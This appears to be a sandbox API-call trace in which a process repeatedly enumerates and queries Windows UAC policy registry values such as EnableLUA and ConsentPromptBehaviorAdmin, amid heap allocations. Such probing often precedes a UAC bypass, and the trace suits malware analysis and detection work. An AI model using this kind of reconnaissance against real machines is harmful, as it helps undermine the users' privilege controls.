RegEnumValueA (in: hKey=0x34, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.635] RegEnumValueA (in: hKey=0x34, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.635] RegEnumValueA (in: hKey=0x34, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.635] RegEnumValueA (in: hKey=0x34, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.635] RegEnumValueA (in: hKey=0x34, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.635] RegEnumValueA (in: hKey=0x34, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.636] RegEnumValueA (in: hKey=0x34, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.636] RegEnumValueA (in: hKey=0x34, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.636] RegEnumValueA (in: hKey=0x34, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.636] RegEnumValueA (in: hKey=0x34, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.636] RegEnumValueA (in: hKey=0x34, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.636] RegEnumValueA (in: hKey=0x34, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.636] RegEnumValueA (in: hKey=0x34, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.636] RegEnumValueA (in: hKey=0x34, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.636] RegEnumValueA (in: hKey=0x34, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0247.636] RegQueryValueExA (in: hKey=0x34, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0247.636] RegQueryValueExA (in: hKey=0x34, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18fb9c, lpData=0xa8c438, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0xa8c438*=0x1, lpcbData=0x18fba4*=0x4) returned 0x0 [0247.636] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c438) returned 1 [0247.636] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c5a0) returned 1 [0247.636] RegEnumValueA (in: hKey=0x34, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.637] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x10) returned 0xa8b860 [0247.637] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8b878 [0247.637] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c5a0 [0247.637] RegEnumValueA (in: hKey=0x34, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.637] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8b888 [0247.637] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c438 [0247.637] RegEnumValueA (in: hKey=0x34, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.637] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8b898 [0247.637] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c558 [0247.637] RegEnumValueA (in: hKey=0x34, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.637] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8b930 [0247.637] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c510 [0247.637] RegEnumValueA (in: hKey=0x34, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.637] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x20) returned 0xa8b940 [0247.637] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8b860) returned 1 [0247.637] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8b860 [0247.637] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c4c8 [0247.637] RegEnumValueA (in: hKey=0x34, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.637] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8b968 [0247.637] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c480 [0247.637] RegEnumValueA (in: hKey=0x34, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.637] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8b978 [0247.637] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c3f0 [0247.637] RegEnumValueA (in: hKey=0x34, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.637] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8b988 [0247.637] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c3a8 [0247.637] RegEnumValueA (in: hKey=0x34, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.638] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x30) returned 0xa8b998 [0247.638] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8b940) returned 1 [0247.638] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8b940 [0247.638] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c360 [0247.638] RegEnumValueA (in: hKey=0x34, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.638] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8b950 [0247.638] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c318 [0247.638] RegEnumValueA (in: hKey=0x34, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.638] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8b9d0 [0247.638] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c2d0 [0247.638] RegEnumValueA (in: hKey=0x34, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.638] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8b9e0 [0247.638] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0247.638] RegEnumValueA (in: hKey=0x34, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.638] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c240 [0247.638] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8b998) returned 1 [0247.638] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8b998 [0247.638] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c1f8 [0247.638] RegEnumValueA (in: hKey=0x34, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.638] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8b9a8 [0247.638] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c1b0 [0247.638] RegEnumValueA (in: hKey=0x34, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.638] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d1e8 [0247.638] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c168 [0247.638] RegEnumValueA (in: hKey=0x34, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.638] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d1f8 [0247.638] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.638] RegEnumValueA (in: hKey=0x34, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0247.638] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.638] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.639] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.639] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c5a0) returned 1 [0247.639] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8b878) returned 1 [0247.639] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c438) returned 1 [0247.639] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8b888) returned 1 [0247.639] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c558) returned 1 [0247.639] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8b898) returned 1 [0247.639] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c510) returned 1 [0247.639] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8b930) returned 1 [0247.639] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c4c8) returned 1 [0247.639] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8b860) returned 1 [0247.639] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c480) returned 1 [0247.639] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8b968) returned 1 [0247.639] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c3f0) returned 1 [0247.639] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8b978) returned 1 [0247.639] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c3a8) returned 1 [0247.639] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8b988) returned 1 [0247.639] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c360) returned 1 [0247.639] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8b940) returned 1 [0247.639] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c318) returned 1 [0247.639] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8b950) returned 1 [0247.639] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c2d0) returned 1 [0247.639] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8b9d0) returned 1 [0247.639] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0247.639] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8b9e0) returned 1 [0247.639] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c1f8) returned 1 [0247.639] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8b998) returned 1 [0247.639] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c1b0) returned 1 [0247.639] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8b9a8) returned 1 [0247.639] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c168) returned 1 [0247.639] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d1e8) returned 1 [0247.639] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.639] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d1f8) returned 1 [0247.639] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c240) returned 1 [0247.639] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c240 [0247.639] RegQueryValueExA (in: hKey=0x34, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0247.639] RegQueryValueExA (in: hKey=0x34, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x18fb9c, lpData=0xa8c240, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0xa8c240*=0x5, lpcbData=0x18fba4*=0x4) returned 0x0 [0247.640] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c240) returned 1 [0247.640] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.640] RegEnumValueA (in: hKey=0x34, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.640] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x10) returned 0xa8d5e8 [0247.640] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d1f8 [0247.640] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.640] RegEnumValueA (in: hKey=0x34, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.640] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d1e8 [0247.640] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c240 [0247.640] RegEnumValueA (in: hKey=0x34, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.640] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d208 [0247.640] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.640] RegEnumValueA (in: hKey=0x34, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.640] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d218 [0247.640] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c168 [0247.640] RegEnumValueA (in: hKey=0x34, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.640] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x20) returned 0xa8b860 [0247.640] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d5e8) returned 1 [0247.640] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d228 [0247.640] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c1b0 [0247.640] RegEnumValueA (in: hKey=0x34, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.640] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d238 [0247.640] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c1f8 [0247.640] RegEnumValueA (in: hKey=0x34, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.640] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d248 [0247.640] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0247.640] RegEnumValueA (in: hKey=0x34, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.640] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d258 [0247.640] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c2d0 [0247.641] RegEnumValueA (in: hKey=0x34, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.641] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x30) returned 0xa8b930 [0247.641] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8b860) returned 1 [0247.641] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d268 [0247.641] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c318 [0247.641] RegEnumValueA (in: hKey=0x34, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.641] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d278 [0247.641] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c360 [0247.641] RegEnumValueA (in: hKey=0x34, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.649] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d288 [0247.649] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c3a8 [0247.649] RegEnumValueA (in: hKey=0x34, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.649] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d298 [0247.649] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c3f0 [0247.649] RegEnumValueA (in: hKey=0x34, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.649] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c480 [0247.649] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8b930) returned 1 [0247.649] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d2a8 [0247.649] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c4c8 [0247.649] RegEnumValueA (in: hKey=0x34, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.649] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d2b8 [0247.650] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c510 [0247.650] RegEnumValueA (in: hKey=0x34, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 